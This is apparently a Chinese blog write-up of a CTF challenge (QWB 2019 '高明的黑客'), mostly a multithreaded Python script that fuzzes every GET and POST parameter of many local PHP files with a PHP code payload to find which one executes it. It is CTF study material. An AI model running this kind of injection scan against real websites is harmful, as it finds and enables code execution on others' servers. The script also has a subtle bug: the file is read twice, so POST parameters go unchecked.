2021-8-18 [强网杯 2019]高明的黑客 知识点:python-threading 脚本编写

看了大佬博客,手动打一遍(相当于复制粘贴了),-_-||
大佬博客:
强网杯 2019-高明的黑客
强网杯 2019-高明的黑客(考察代码编写能力)
short-code
温馨提示:
当在本地测试的时候,php版本需要大于等于7.0
记录结果最好保存到一个文本文件中,因为直接在控制台很难找到!!!!

import os
import re
import requests
import threading
import time
print("开始时间:"+time.asctime(time.localtime(time.time())))
s1=threading.Semaphore(100) #设置最大线程数
filepath=r"C:/Users/Lenovo/Desktop/src/" #当前资源路径
os.chdir(filepath) #改变当前资源路径
files=os.listdir(filepath)
requests.adapters.DEFAULT_RETRIES=5 #设置重连次数,防止线程数过高,断开连接
session=requests.Session()
session.keep_alive=False
def get_content(file):
    s1.acquire()
    print("trying "+file+"in "+time.asctime(time.localtime(time.time())))
    with open(file,encoding='utf-8') as f:
        gets=list(re.findall('\$_GET\[\'(.*?)\'\]',f.read()))
        posts=list(re.findall('\$_POST\[\'(.*?)\'\]',f.read()))
    data={} #所有的POST
    param={} #所有的GET
    for m in gets:
        param[m]="echo '123456';"
    for n in posts:
        data[n]="echo '123456';"
    url="http://127.0.0.1/src/"+file
    req=session.post(url,data=data,params=param)
    req.close()
    req.encoding='utf-8'
    content=req.text
    if "123456" in content:
        flag=0
        for a in gets:
            req=session.get(url+"?%s="%a+"echo '123456';")
            content=req.text
            req.close()
            if "123456" in content:
                flag=1
                break
        if flag!=1:
            for b in posts:
                req=session.post(url,data={b:"echo '123456';"})
                content=req.text
                req.close()
                if "123456" in content:
                    break
        if flag==1:
            param=a
        else:
            param=b
        print("找到了利用文件:"+file+" 和利用参数:%s"%param)
        local_file = open("flag.txt", "w", encoding="utf-8")
        local_file.write(file+param)
        print("结束时间: "+time.asctime(time.localtime(time.time())))
    s1.release()

for i in files: #加入多线程
    t=threading.Thread(target=get_content,args=(i,))
    t.start()

写的简陋了点,因为懒。在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sakura-501

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值